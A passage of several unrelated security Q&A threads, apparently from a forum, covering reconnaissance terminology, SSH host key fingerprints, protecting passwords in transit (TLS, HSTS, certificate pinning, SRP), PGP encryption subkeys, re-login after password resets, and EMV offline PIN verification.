Providing the browser with a plugin which can verify signatures on downloaded javascript may make this safer, but I don't know enough about the browser security model to make an informed guess.

  Is it possible to implement a simpler recovery mechanism that doesn't require the user to store the private key?

Based on your comment to clarify the design, I'd say no.


Is there a term for one specific step before/during reconnaisance? If the hacker decides to attack the system, the first step is reconnaissance.
But if the system the hacker attacks is exotic,  sometimes they'd need to develop the tools or "drivers", or modify the existing software/tools for them to be "tap-able".
For example, suppose the hacker tries to attack the telephone network, and for some reason the dial-up modems are not available, the hacker may need to reverse engineer the telephone cable I/O, figure out a way to connect to the telephone network using the makeshift hardware and software (maybe connect to the sound card, and make use of the Fourier transform algorithms; and then figure out the commands sent across the telephone network) -- all to just be able to perform reconnaissance.
I wonder if there is a term for this.

I would suggest that if this is targetted, this is part of reconnaissance. Specifically you talk about attacking the telephone network so reverse engineering the correct protocols, etc, which involves getting info on what the correct protocols and details for that network are. This is an early part of reconnaissance - possibly strategic rather than tactical reconnaissance.
If you're just talking about downloading some generic tool then well, that's just gearing up I guess?


what is a server fingerprint in ssh? Is is the same as a public key in RSA, except they made it more suitable for self-signed hosts? What happens behind the scenes when our ssh client presents it to us?

The "fingerprint" is a hash of the server's public key. It is not the public key itself; however, hash functions are so that it is not feasible to actually compute two public keys with the same fingerprint. Therefore, if you want to know whether you are talking to the right server (and not some impersonator), then you "just" need to compute the server's key fingerprint (from the public key that the server just sent to you) and compare it with a "reference fingerprint".

Fingerprints are used because they are small enough to be managed by humans: checking a fingerprint entails verifying 40 hexadecimal characters; that's not something that you want to do ten times a day, but it is feasible. When the SSH client presents the fingerprint, it has received the public key from the server, and noticed that this is a new server, never encountered by that client yet, and as such the server's public key cannot be compared with the known and expected value. The client thus computes the fingerprint, and displays it to the user, so that the user finishes the validation business.

You still need a "reference fingerprint" against which to compare that which is computed and printed by the client. You could, for instance, phone the expected server's sysadmin and ask him to spell out the fingerprint over the phone. That way, you can still connect to your main lab machines while you are on a trip to a conference two continents away, and using the laptop of another friendly researcher (because your own laptop broke when you dropped it while getting out of your plane).


Can you avoid ever sending a password over the wire? Let's say I want to secure authentication on a web app or a mobile app or even a machine to machine app.

My first approach to secure the password is to enable HTTPS and some sort of client-side message-level encryption of data to be sent over the wire.

I think that since MITM could help circumvent HTTPS and discover at least an encrypted password, there is maybe no way to truly protect a password.

Not considering VPN, if a user submitted data (e.g.: password) over the wire is it ever secure? Or if there exists a way to never submit a password over the wire?

The overall situation is rather complicated. The shortest answer I can give is that it's a solvable problem in principle, but not really solved in practice. I'll give a more complete summary in "good news - bad news" format:

Good news: TLS uses server-side certificates to insure that your encrypted connection is going to the server you intended to talk to, and not being intercepted by some impostor (such as a MiTM).

Bad news: TLS only works if you use it. TLS connections aren't always the default, and things like sslstrip can (mostly) prevent the usual ways of upgrading connections to TLS.

Good news: TLS is gradually becoming the default, HSTS can lock in TLS after first use, and in many situations (client-side apps, for example) the client can know in advance to use TLS.

Bad news: Our certificate infrastructure (certificate authorities, etc) is not entirely trustworthy, and bad/fraudulent certificates do get issued.

Good news: We're starting to use things like certificate transparency and certificate pinning to provide additional checks.

Bad news: Some organizations use TLS-intercepting proxies for network security. These use their own certificates, and are therefore completely detectable by the client (and will be rejected as insecure by default). However, in these situations, the client is effectively forced to change its policy, and trust the proxy's certificates if they want access to the Internet. For a while Kazakhstan was doing this country-wide! Unfortunately, these proxies can watch the entire (unencrypted) client authentication process.

Good news: There are authentication methods that never send the password, even in encrypted form. The most basic of these use a hash of the password to authenticate, but that means the hash itself is sufficient to authenticate, making pass-the-hash attacks possible. There are better methods that don't expose the client's credentials to even a TLS-intercepting proxy, such as client-side certificates and password-authenticated key exchange ("PAKE") protocols (most notably, the Secure Remote Password, or SRP protocol).

Bad news: client-side certificates are unweildy, since they require the user to carry around a certificate file rather than just remember a password (not that remembering passwords is easy -- you can/should use a password manager, but they generally don't support certificates).

PAKE protocols like SRP look to me like a much better solution, but they also have practicality problems. IMO the biggest one is lack of standardization and client-side support. The lack of built-in support in browsers means that the server has to serve the client side of the protocol as Javascript (or something similar), and a TLS-intercepting proxy can just replace it with something that leaks the password. Whee.

Mind you, if you're writing a mobile app (or other situation where you're writing the client), you aren't limited to what any browser supports and can go ahead and use SRP or something similar with a full, secure, native client implementation.


PGP - Why have separate encryption subkey This is how my key is set up:

pub  4096R/AAAAAAAA  created: 2012-11-14  expires: 2013-11-14  usage: SC
                     trust: ultimate      validity: ultimate
sub  4096R/BBBBBBBB  created: 2012-11-14  expires: 2013-11-14  usage: E
[ultimate] (1). xxxx <xxxx@xxxx.com>

I know this is standard, to have the subkey handle decryption. Why is this though? How is this different from me just having a single key that does everything?

There are three main reasons why you may want to have separate keys:

Not all key types can be used for both encryption and signature. OpenPGP (the format that GnuPG implements) primarily supports RSA, ElGamal and DSA; ElGamal is encrypt-only, while DSA is sign-only. RSA can do both; however, there was a time when RSA was still patented, and since that time some PGP implementations have taken the habit of defaulting to ElGamal+DSA, hence necessarily two key pairs.
Encryption keys should be escrowed (i.e. have backup somewhere), while signature keys should not. See this answer for a discussion on this subject. Since a given key cannot be both escrowed and not escrowed, you should need two keys.
Ideally, you should have a single master key, that you keep in a specially well protected keyring, and subkeys for daily tasks. The master key is supposed to be your "root" key with no expiry date; it is large and bulky and possibly inefficient, but you don't use it often. The subkeys may be shorter (thus more efficient) because you define them to have a short lifetime (e.g. one or two years): you don't have to make them fat enough to survive advances in technology one or two decades from now. The master key doubles as "revocation key" in case one of your subkeys gets stolen.


Why after a website password reset am I asked to login again? I have noticed that every web site has the exact same behavior for their password reset pages. They send a link to your email using which you can reach the password reset page. On that page you enter the new password. So far so good. But at this point, they always prompt me to login again. Why? I just entered my password twice along with my login (email - of course this is done implicitly via the link). So why prompt me to login again? Is there a security reason for this that I am not seeing? Or is it just an old practice that seems to linger?

There is no reason this cannot be done technically, and I see the occasional site doing it. But it would require extra code to be built, so it's cheaper to let you handle the login ;-)

The same thing happens with the confirmation link when registering: in most cases you still have to login (but in this case there are relatively more sites that auto-login, in my experience).


Would an offline-authorized EMV transaction use offline PIN validation? If an EMV payment terminal offers offline authorization (e.g. because connectivity is poor), will chip and PIN transactions be processed using offline PIN validation?

It doesn't make sense to me for online PIN validation to be used, since it means any PIN would be accepted at the moment of (offline) authorization. I'm assuming the card and the terminal negotiate offline PIN validation or signature (depending upon card and terminal capabilities), but was hoping someone can confirm?

Generally true. It depends of Cardholder Verification Method (CVM) List of terminal and card. Offline pin would perform if both support offline pin and if it has highest priority in CVM lists.